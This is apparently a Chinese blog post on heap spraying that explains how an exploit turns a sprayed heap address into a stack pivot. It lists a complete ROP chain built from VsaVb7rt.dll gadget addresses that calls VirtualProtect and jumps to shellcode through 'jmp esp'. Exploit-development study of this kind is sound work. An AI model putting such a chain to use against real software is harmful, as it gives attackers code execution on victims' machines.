堆喷图解

 

 1 详细图解如下

  虽然我这里构造的rop 是精心构造的,但是都完全还可以压缩空间,为了测试,我设置的ret之间的间距大了些,但是无碍。

2 总结:

1. 改变执行流到栈

   xchg eax,esp;pop esi;ret;  这里我选择这条语句,是因为eax 是0x0c0c0c0c ,而eax的位置放的是一个栈地址(在执行流中有用到,已不能修改),该地址指向不能作为指令(无意义),而且此时没有修改保护属性会出错。所以我选择弹出换栈之后的栈顶0x0c0c0c0c位置。将执行控制给0x0c0c0c10。这时候0x0c0c0c10 前面的执行流没有使用,我们就可以在这里定制我们想要的ret指令。

  

0x0c0c0cOc //0x0c0c0c20
0x0c0c0c10 //0x5e3229ed//add esp,0x10:pop esiret
//*** 0x0c0c0c20 //0x5e3229ed //add esp,0x10:pop siret
//***
0x0c0c0c34 //0x5e3229f0 //pop esi;ret; 0x0c0c0c38 //0x5e28f190 // xchg eaxesp:pop esiret:

 分析: 这里主要是根据执行流的一些特征,来定制这个rop,实现执行流切换到栈。当时我想的是,网上这个漏洞的exp都是利用的两个call 之间的关系,那我能不能只利用一个call 呢? 我立刻动手测试,的确可以。所以我看到吾爱破解上直接断言不行,感到惋惜。该动手的时候得动手啊。

2 . 修改栈空间保护属性

  

    0x5e329d12,  // POP EBP // RETN [VsaVb7rt.dll] 
      0x5e329d12,  // skip 4 bytes [VsaVb7rt.dll]
      0x5e28f7a4,  // POP EBX // RETN [VsaVb7rt.dll] 
      0x00000201,  // 0x00000201-> ebx
      0x5e292c9d,  // POP EBX // RETN [VsaVb7rt.dll] 
      0x00000040,  // 0x00000040-> edx
      0x5e34b61c,  // XOR EDX,EDX // RETN [VsaVb7rt.dll] 
      0x5e34b5ee,  // ADD EDX,EBX // POP EBX // RETN 0x10 [VsaVb7rt.dll] 
      0x41414141,  // Filler (compensate)
      0x5e26098b,  // POP ECX // RETN [VsaVb7rt.dll] 
      0x41414141,  // Filler (RETN offset compensation)
      0x41414141,  // Filler (RETN offset compensation)
      0x41414141,  // Filler (RETN offset compensation)
      0x41414141,  // Filler (RETN offset compensation)
      0x5e357285,  // &Writable location [VsaVb7rt.dll] -------- 这里是用来保存的OldProtect
      0x5e25e6cc,  // POP EDI // RETN [VsaVb7rt.dll] 
      0x5e267102,  // RETN (ROP NOP) [VsaVb7rt.dll]
      0x5e25b1f6,  // POP ESI // RETN [VsaVb7rt.dll] 
      0x5e23aa93,  // JMP [EAX] [VsaVb7rt.dll]
      0x5e290c74,  // POP EAX // RETN [VsaVb7rt.dll] 
      0x74614224,  // ptr to &VirtualProtect() (skipped module criteria, check if pointer is reliable !) [IAT MSVCR80.dll]
      0x5e351384,  // PUSHAD // RETN [VsaVb7rt.dll] 
      0x5e287050,  // ptr to 'jmp esp' [VsaVb7rt.dll]

  解释: 这里的rop链,可能很多初学者不能很好的理解 ,其实这里就是根据pushad压寄存器的顺序(eax,ecx,edx,ebx,esp,ebp,esi,edi),惊醒构造每个寄存器的数据,然后通过pushad 把想要顺序的数据压入栈,这时候再通过jmp esp 跳板,就能执行刚才这段构造的rop了。这里就能构建出执行virtualprotect所需要的栈。有兴趣的朋友,可以手写一些这里构造的栈的具体布局,加深对此rop链的理解。

posted @ 2019-09-19 15:39 leibso二狗 阅读(...) 评论(...) 编辑 收藏